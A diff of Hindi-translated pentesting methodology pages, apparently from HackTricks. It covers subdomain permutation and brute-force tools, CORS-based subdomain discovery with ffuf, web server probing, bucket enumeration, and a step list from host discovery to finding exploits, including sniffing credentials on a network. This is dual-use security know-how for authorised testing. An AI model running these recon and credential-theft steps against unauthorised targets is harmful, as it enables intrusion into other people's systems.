```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
- [**gotator**](https://github.com/Josue87/gotator)**:** दिए गए डोमेन और उपडोमेन के लिए उत्परिवर्तन उत्पन्न करें। यदि उत्परिवर्तन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा।
|
||||
- [**gotator**](https://github.com/Josue87/gotator)**:** डोमेन और सबडोमेन दिए जाने पर उत्परिवर्तन उत्पन्न करें। यदि उत्परिवर्तन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा।
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
- [**altdns**](https://github.com/infosec-au/altdns): उपडोमेन संयोजनों को उत्पन्न करने के अलावा, यह उन्हें हल करने की कोशिश भी कर सकता है (लेकिन पहले टिप्पणी किए गए उपकरणों का उपयोग करना बेहतर है)।
|
||||
- आप [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) altdns संयोजन **शब्दसूची** प्राप्त कर सकते हैं।
|
||||
- आप altdns संयोजन **शब्दसूची** [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं।
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
- [**dmut**](https://github.com/bp0lr/dmut): उपडोमेन के संयोजन, उत्परिवर्तन और परिवर्तन करने के लिए एक और उपकरण। यह उपकरण परिणाम को ब्रूट फोर्स करेगा (यह dns वाइल्ड कार्ड का समर्थन नहीं करता)।
|
||||
- आप dmut संयोजन शब्द सूची [**यहां**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) प्राप्त कर सकते हैं।
|
||||
- आप [**यहां**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) dmut संयोजन शब्द सूची प्राप्त कर सकते हैं।
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** एक डोमेन के आधार पर यह **संकेतित पैटर्न के आधार पर नए संभावित उपडोमेन नाम उत्पन्न करता है** ताकि अधिक उपडोमेन खोजने की कोशिश की जा सके।
|
||||
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** एक डोमेन के आधार पर यह **संकेतित पैटर्न** के आधार पर नए संभावित उपडोमेन नाम **जनरेट** करता है ताकि अधिक उपडोमेन खोजने की कोशिश की जा सके।
|
||||
|
||||
#### स्मार्ट परम्यूटेशन जनरेशन
|
||||
|
||||
- [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** से **मुख्य भाग** प्राप्त करेगा और अधिक उपडोमेन खोजने के लिए उन्हें मिलाएगा।
|
||||
- [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** के **मुख्य भागों** को लेगा और उन्हें मिलाकर अधिक उपडोमेन खोजने की कोशिश करेगा।
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
|
||||
|
||||
### **VHosts / वर्चुअल होस्ट**
|
||||
|
||||
यदि आपने एक IP पता पाया है जिसमें **एक या कई वेब पृष्ठ** सबडोमेनों से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेनों को खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन के लिए देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**।
|
||||
यदि आपने एक IP पता पाया है जिसमें **एक या एक से अधिक वेब पृष्ठ** सबडोमेनों से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेनों को खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन के लिए देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**।
|
||||
|
||||
#### OSINT
|
||||
|
||||
@ -440,33 +440,33 @@ VHostScan -t example.com
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
||||
कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं।
|
||||
कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** को **खोज** सकते हैं।
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **बकेट्स ब्रूट फोर्स**
|
||||
|
||||
जब आप **सबडोमेन** की तलाश कर रहे हों, तो देखें कि क्या यह किसी प्रकार के **बकेट** की ओर **इशारा** कर रहा है, और इस मामले में [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
इसके अलावा, चूंकि इस बिंदु पर आप दायरे के भीतर सभी डोमेन को जानेंगे, कोशिश करें [**संभव बकेट नामों को ब्रूट फोर्स करने और अनुमतियों की जांच करने के लिए**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
जब आप **सबडोमेन** की तलाश कर रहे हों, तो देखें कि क्या यह किसी प्रकार के **बकेट** की ओर **संकेत** कर रहा है, और इस मामले में [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
|
||||
इसके अलावा, चूंकि इस बिंदु पर आप दायरे के भीतर सभी डोमेन को जानेंगे, कोशिश करें [**संभावित बकेट नामों को ब्रूट फोर्स करें और अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
### **निगरानी**
|
||||
|
||||
आप **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स की निगरानी करके देख सकते हैं कि किसी डोमेन के **नए सबडोमेन** बनाए गए हैं [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)करता है।
|
||||
आप **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स की निगरानी करके देख सकते हैं कि किसी डोमेन के **नए सबडोमेन** बनाए गए हैं [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)।
|
||||
|
||||
### **कमजोरियों की तलाश**
|
||||
|
||||
संभव [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\
|
||||
यदि **सबडोमेन** किसी **S3 बकेट** की ओर इशारा कर रहा है, तो [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
संभावित [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\
|
||||
यदि **सबडोमेन** किसी **S3 बकेट** की ओर संकेत कर रहा है, तो [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/index.html)।
|
||||
|
||||
यदि आप किसी **सबडोमेन को एक IP अलग** पाते हैं जो आपने पहले से संपत्तियों की खोज में पाया है, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\
|
||||
&#xNAN;_Note करें कि कभी-कभी सबडोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
|
||||
|
||||
## आईपी
|
||||
## IPs
|
||||
|
||||
प्रारंभिक चरणों में, आप **कुछ IP रेंज, डोमेन और सबडोमेन** पा सकते हैं।\
|
||||
अब **उन रेंज से सभी आईपी को इकट्ठा करने** और **डोमेन/सबडोमेन (DNS क्वेरी)** के लिए समय है।
|
||||
अब **उन रेंज से सभी IPs को इकट्ठा करने** और **डोमेन/सबडोमेन (DNS क्वेरी)** के लिए समय है।
|
||||
|
||||
निम्नलिखित **फ्री एपीआई** की सेवाओं का उपयोग करके, आप **डोमेन और सबडोमेन द्वारा उपयोग किए गए पिछले आईपी** भी पा सकते हैं। ये आईपी अभी भी ग्राहक के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare बायपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं)
|
||||
निम्नलिखित **फ्री APIs** की सेवाओं का उपयोग करके, आप **डोमेन और सबडोमेन द्वारा उपयोग किए गए पिछले IPs** भी पा सकते हैं। ये IPs अभी भी ग्राहक के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare बायपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं)
|
||||
|
||||
- [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
@ -474,19 +474,19 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||
|
||||
### **कमजोरियों की तलाश**
|
||||
|
||||
**CDNs से संबंधित सभी आईपी का पोर्ट स्कैन करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। खोजे गए चल रहे सेवाओं में आप **कमजोरियों को खोजने में सक्षम हो सकते हैं**।
|
||||
**CDNs से संबंधित सभी IPs का पोर्ट स्कैन करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। चल रही सेवाओं में, आप **कमजोरियों को खोजने में सक्षम हो सकते हैं**।
|
||||
|
||||
**होस्ट स्कैन करने के लिए एक** [**गाइड**](../pentesting-network/) **खोजें।**
|
||||
**होस्ट स्कैन करने के लिए एक** [**गाइड**](../pentesting-network/index.html) **खोजें।**
|
||||
|
||||
## वेब सर्वर शिकार
|
||||
|
||||
> हमने सभी कंपनियों और उनकी संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और सबडोमेन जानते हैं। अब वेब सर्वरों की खोज करने का समय है।
|
||||
> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और सबडोमेन जानते हैं। अब वेब सर्वरों की खोज करने का समय है।
|
||||
|
||||
पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IP और डोमेन का कुछ रीकॉन किया है**, इसलिए आप **संभव सभी वेब सर्वरों को पहले से ही खोज चुके होंगे**। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे।
|
||||
पिछले चरणों में, आपने शायद पहले से ही खोजे गए IPs और डोमेन का कुछ **रिपोर्ट किया है**, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही पा चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे।
|
||||
|
||||
कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट स्कैनिंग** को भी करना चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**).
|
||||
कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट स्कैनिंग** भी करनी चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**).
|
||||
|
||||
**वेब** सर्वरों से संबंधित **खुले पोर्ट** खोजने के लिए एक **तेज़ विधि** [**masscan** का उपयोग करके यहां पाई जा सकती है](../pentesting-network/index.html#http-port-discovery).\
|
||||
**वेब** सर्वरों से संबंधित **खुले पोर्ट** खोजने के लिए एक **तेज़ विधि** [**masscan** का उपयोग करके यहां पाई जा सकती है](../pentesting-network/index.html#http-port-discovery)।\
|
||||
वेब सर्वरों की खोज के लिए एक और उपयोगी टूल [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) और [**httpx**](https://github.com/projectdiscovery/httpx) है। आप बस डोमेन की एक सूची पास करते हैं और यह पोर्ट 80 (http) और 443 (https) से कनेक्ट करने की कोशिश करेगा। इसके अतिरिक्त, आप अन्य पोर्ट की कोशिश करने के लिए संकेत दे सकते हैं:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
@ -496,7 +496,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
|
||||
अब जब आपने **सभी वेब सर्वर** खोज लिए हैं जो दायरे में हैं (कंपनी के **IPs** और सभी **डोमेन** और **सबडोमेन** के बीच) तो शायद आप **शुरुआत कहाँ से करें** यह नहीं जानते। तो, इसे सरल बनाते हैं और बस सभी का स्क्रीनशॉट लेना शुरू करते हैं। बस **मुख्य पृष्ठ** पर **नज़र डालकर** आप **अजीब** एंडपॉइंट्स पा सकते हैं जो अधिक **संवेदनशील** हो सकते हैं।
|
||||
|
||||
प्रस्तावित विचार को लागू करने के लिए आप [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) या [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** का उपयोग कर सकते हैं।
|
||||
प्रस्तावित विचार को लागू करने के लिए आप [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) या [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** का उपयोग कर सकते हैं।**
|
||||
|
||||
इसके अलावा, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि सभी **स्क्रीनशॉट्स** पर चलाकर आपको बता सके कि **क्या संभावित रूप से कमजोरियों को शामिल कर सकता है**, और क्या नहीं।
|
||||
|
||||
@ -512,9 +512,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
|
||||
फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**Second Round DNS Brute-Force**](#second-dns-bruteforce-round) देखें)।
|
||||
|
||||
परिणामी वर्डलिस्ट के साथ आप [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **या** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** जैसे उपकरणों का उपयोग कर सकते हैं।
|
||||
परिणामी वर्डलिस्ट के साथ आप [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **या** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** का उपयोग कर सकते हैं।**
|
||||
|
||||
याद रखें कि जब आप क्लाउड संपत्तियों की खोज कर रहे हैं तो आपको **AWS में बकेट्स से अधिक की तलाश करनी चाहिए**।
|
||||
याद रखें कि जब आप क्लाउड संपत्तियों की खोज कर रहे हों तो आपको **AWS में बकेट्स से अधिक की तलाश करनी चाहिए**।
|
||||
|
||||
### **कमजोरियों की खोज**
|
||||
|
||||
@ -522,7 +522,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
|
||||
## ईमेल
|
||||
|
||||
दायरे में **डोमेन** और **सबडोमेन** के साथ आपके पास **ईमेल खोजने के लिए आवश्यक सभी चीजें** हैं। ये हैं **APIs** और **उपकरण** जो मुझे किसी कंपनी के ईमेल खोजने में सबसे अच्छे लगे हैं:
|
||||
दायरे में **डोमेन** और **सबडोमेन** के साथ आपके पास **ईमेल खोजने के लिए आवश्यक सभी चीजें** हैं। ये हैं **APIs** और **उपकरण** जो मुझे किसी कंपनी के ईमेल खोजने के लिए सबसे अच्छे लगे हैं:
|
||||
|
||||
- [**theHarvester**](https://github.com/laramies/theHarvester) - APIs के साथ
|
||||
- [**https://hunter.io/**](https://hunter.io/) का API (फ्री संस्करण)
|
||||
@ -563,9 +563,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
github-leaked-secrets.md
|
||||
{{#endref}}
|
||||
|
||||
### पेस्ट्स लीक
|
||||
### पेस्ट लीक
|
||||
|
||||
कभी-कभी हमलावर या बस कर्मचारी **कंपनी की सामग्री को एक पेस्ट साइट पर प्रकाशित करेंगे**। इसमें **संवेदनशील जानकारी** हो सकती है या नहीं, लेकिन इसे खोजने के लिए यह बहुत दिलचस्प है।\
|
||||
कभी-कभी हमलावर या बस कर्मचारी **कंपनी की सामग्री को एक पेस्ट साइट पर प्रकाशित करेंगे**। इसमें **संवेदनशील जानकारी** हो सकती है या नहीं, लेकिन इसे खोजना बहुत दिलचस्प है।\
|
||||
आप **उपकरण** [**Pastos**](https://github.com/carlospolop/Pastos) का उपयोग करके एक साथ 80 से अधिक पेस्ट साइटों में खोज कर सकते हैं।
|
||||
|
||||
### गूगल डॉर्क्स
|
||||
@ -582,7 +582,7 @@ _ध्यान दें कि जो उपकरण नियमित ग
|
||||
|
||||
यदि आपने पाया कि कंपनी का **ओपन-सोर्स कोड** है तो आप इसे **विश्लेषण** कर सकते हैं और इसमें **कमजोरियों** की खोज कर सकते हैं।
|
||||
|
||||
**भाषा के आधार पर** आपके पास विभिन्न **उपकरण** हो सकते हैं:
|
||||
**भाषा के आधार पर** आप विभिन्न **उपकरणों** का उपयोग कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/code-review-tools.md
|
||||
@ -592,11 +592,11 @@ _ध्यान दें कि जो उपकरण नियमित ग
|
||||
|
||||
- [**Snyk**](https://app.snyk.io/)
|
||||
|
||||
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
|
||||
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html)
|
||||
|
||||
**कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती है, **वेब अनुप्रयोगों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)।
|
||||
**कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती है, **वेब अनुप्रयोगों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/index.html)।
|
||||
|
||||
मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आपको उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करनी चाहिए, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।**
|
||||
मैं [**वेब स्वचालित स्कैनर्स ओपन सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आप उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करते हैं, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।**
|
||||
|
||||
## पुनरावलोकन
|
||||
|
||||
@ -604,19 +604,19 @@ _ध्यान दें कि जो उपकरण नियमित ग
|
||||
|
||||
तो आपने पहले ही:
|
||||
|
||||
1. दायरे में सभी **कंपनियों** को खोज लिया है
|
||||
2. कंपनियों से संबंधित सभी **संपत्तियों** को खोज लिया है (और यदि दायरे में हो तो कुछ कमजोरियों का स्कैन किया है)
|
||||
3. कंपनियों से संबंधित सभी **डोमेन** को खोज लिया है
|
||||
4. डोमेन के सभी **सबडोमेन** को खोज लिया है (क्या कोई सबडोमेन टेकओवर?)
|
||||
5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को खोज लिया है।
|
||||
6. सभी **वेब सर्वर** को खोज लिया है और उनका **स्क्रीनशॉट** लिया है (क्या कुछ अजीब है जो गहराई से देखने लायक है?)
|
||||
7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया है।
|
||||
1. दायरे में सभी **कंपनियों** को खोज लिया
|
||||
2. कंपनियों से संबंधित सभी **संपत्तियों** को खोज लिया (और यदि दायरे में हो तो कुछ कमजोरियों का स्कैन किया)
|
||||
3. कंपनियों से संबंधित सभी **डोमेन** को खोज लिया
|
||||
4. डोमेन के सभी **सबडोमेन** को खोज लिया (क्या कोई सबडोमेन टेकओवर?)
|
||||
5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को खोज लिया।
|
||||
6. सभी **वेब सर्वर** को खोज लिया और उनका **स्क्रीनशॉट** लिया (क्या कुछ अजीब है जो गहराई से देखने लायक है?)
|
||||
7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया।
|
||||
8. **ईमेल**, **क्रेडेंशियल लीक**, और **सीक्रेट लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं।
|
||||
9. आपने जो भी वेब खोजी है, उसका **पेंटेस्टिंग** किया है।
|
||||
9. आपने जो भी वेब खोजी हैं उनका **पेंटेस्टिंग** किया।
|
||||
|
||||
## **पूर्ण रीकॉन स्वचालित उपकरण**
|
||||
|
||||
कुछ उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के कुछ हिस्सों को निष्पादित करेंगे।
|
||||
कुछ उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के कुछ हिस्सों को करेंगे।
|
||||
|
||||
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
@ -9,58 +9,58 @@
|
||||
|
||||
_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### 0- Physical Attacks
|
||||
### 0- भौतिक हमले
|
||||
|
||||
क्या आपके पास उस मशीन तक **भौतिक पहुंच** है जिसे आप हमला करना चाहते हैं? आपको [**भौतिक हमलों के बारे में कुछ तरकीबें**](../hardware-physical-access/physical-attacks.md) और [**GUI अनुप्रयोगों से बचने के बारे में अन्य**](../hardware-physical-access/escaping-from-gui-applications.md) पढ़नी चाहिए।
|
||||
|
||||
### 1 - [नेटवर्क के अंदर होस्ट खोजने](pentesting-network/index.html#discovering-hosts)/ [कंपनी की संपत्तियों की खोज](external-recon-methodology/)
|
||||
### 1 - [नेटवर्क के अंदर होस्ट का पता लगाना](pentesting-network/index.html#discovering-hosts)/ [कंपनी की संपत्तियों का पता लगाना](external-recon-methodology/index.html)
|
||||
|
||||
**इस पर निर्भर करता है कि आप जो **परीक्षण** कर रहे हैं वह **आंतरिक या बाहरी परीक्षण** है, आप **कंपनी के नेटवर्क के अंदर होस्ट खोजने** (आंतरिक परीक्षण) या **इंटरनेट पर कंपनी की संपत्तियों की खोज** (बाहरी परीक्षण) में रुचि रख सकते हैं।**
|
||||
**इस पर निर्भर करता है कि आप जो **परीक्षण** कर रहे हैं वह **आंतरिक या बाहरी परीक्षण** है, आप **कंपनी के नेटवर्क के अंदर होस्ट का पता लगाने** (आंतरिक परीक्षण) या **इंटरनेट पर कंपनी की संपत्तियों का पता लगाने** (बाहरी परीक्षण) में रुचि रख सकते हैं।
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि यदि आप एक बाहरी परीक्षण कर रहे हैं, तो एक बार जब आप कंपनी के आंतरिक नेटवर्क तक पहुंच प्राप्त कर लेते हैं, तो आपको इस गाइड को फिर से शुरू करना चाहिए।
|
||||
|
||||
### **2-** [**नेटवर्क के साथ मज़े करना**](pentesting-network/) **(आंतरिक)**
|
||||
### **2-** [**नेटवर्क के साथ मज़े करना**](pentesting-network/index.html) **(आंतरिक)**
|
||||
|
||||
**यह अनुभाग केवल तब लागू होता है जब आप एक आंतरिक परीक्षण कर रहे हों।**\
|
||||
किसी होस्ट पर हमला करने से पहले, शायद आप **नेटवर्क से कुछ क्रेडेंशियल चुराना** या **कुछ डेटा स्निफ़ करना** पसंद करें ताकि आप **पैसिवली/एक्टिवली (MitM)** जान सकें कि आप नेटवर्क के अंदर क्या खोज सकते हैं। आप [**Pentesting Network**](pentesting-network/index.html#sniffing) पढ़ सकते हैं।
|
||||
किसी होस्ट पर हमला करने से पहले, शायद आप **नेटवर्क से कुछ क्रेडेंशियल चुराना** या **कुछ डेटा स्निफ़ करना** पसंद करें ताकि आप **पैसिवली/एक्टिवली (MitM)** जान सकें कि आप नेटवर्क के अंदर क्या पा सकते हैं। आप [**Pentesting Network**](pentesting-network/index.html#sniffing) पढ़ सकते हैं।
|
||||
|
||||
### 3- [पोर्ट स्कैन - सेवा खोज](pentesting-network/index.html#scanning-hosts)
|
||||
|
||||
जब **किसी होस्ट में कमजोरियों की तलाश** कर रहे हों, तो सबसे पहले यह जानना है कि **कौन सी सेवाएँ चल रही हैं** और कौन से पोर्ट पर। चलिए देखते हैं [**होस्ट के पोर्ट स्कैन करने के लिए बुनियादी उपकरण**](pentesting-network/index.html#scanning-hosts)।
|
||||
जब **किसी होस्ट में कमजोरियों की तलाश** कर रहे हों, तो सबसे पहले यह जानना है कि **कौन सी सेवाएं चल रही हैं** और कौन से पोर्ट पर। चलिए देखते हैं [**होस्ट के पोर्ट स्कैन करने के लिए बुनियादी उपकरण**](pentesting-network/index.html#scanning-hosts)।
|
||||
|
||||
### **4-** [सेवा संस्करण शोषण की खोज](../generic-hacking/search-exploits.md)
|
||||
|
||||
एक बार जब आप जान लेते हैं कि कौन सी सेवाएँ चल रही हैं, और शायद उनका संस्करण, तो आपको **ज्ञात कमजोरियों की खोज** करनी होगी। शायद आपको किस्मत मिले और कोई शोषण हो जो आपको एक शेल दे...
|
||||
एक बार जब आप जान लेते हैं कि कौन सी सेवाएं चल रही हैं, और शायद उनका संस्करण, तो आपको **ज्ञात कमजोरियों की खोज** करनी होगी। शायद आपको किस्मत से कोई शोषण मिल जाए जो आपको एक शेल दे...
|
||||
|
||||
### **5-** Pentesting Services
|
||||
### **5-** Pentesting सेवाएं
|
||||
|
||||
यदि किसी भी चल रही सेवा के लिए कोई शानदार शोषण नहीं है, तो आपको **प्रत्येक चल रही सेवा में सामान्य गलत कॉन्फ़िगरेशन** की तलाश करनी चाहिए।
|
||||
|
||||
**इस पुस्तक में आपको सबसे सामान्य सेवाओं के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में **_**PENTESTING**_ **खंड की खोज करें** (सेवाएँ उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)।
|
||||
**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में **_**PENTESTING**_ **खंड की खोज करें** (सेवाएं उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)।
|
||||
|
||||
**मैं विशेष रूप से** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **भाग का उल्लेख करना चाहता हूँ (क्योंकि यह सबसे विस्तृत है)।**\
|
||||
**मैं विशेष रूप से** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **भाग का उल्लेख करना चाहता हूं (क्योंकि यह सबसे विस्तृत है)।**\
|
||||
इसके अलावा, [**सॉफ़्टवेयर में ज्ञात कमजोरियों को खोजने के लिए एक छोटा गाइड**](../generic-hacking/search-exploits.md) यहाँ पाया जा सकता है।
|
||||
|
||||
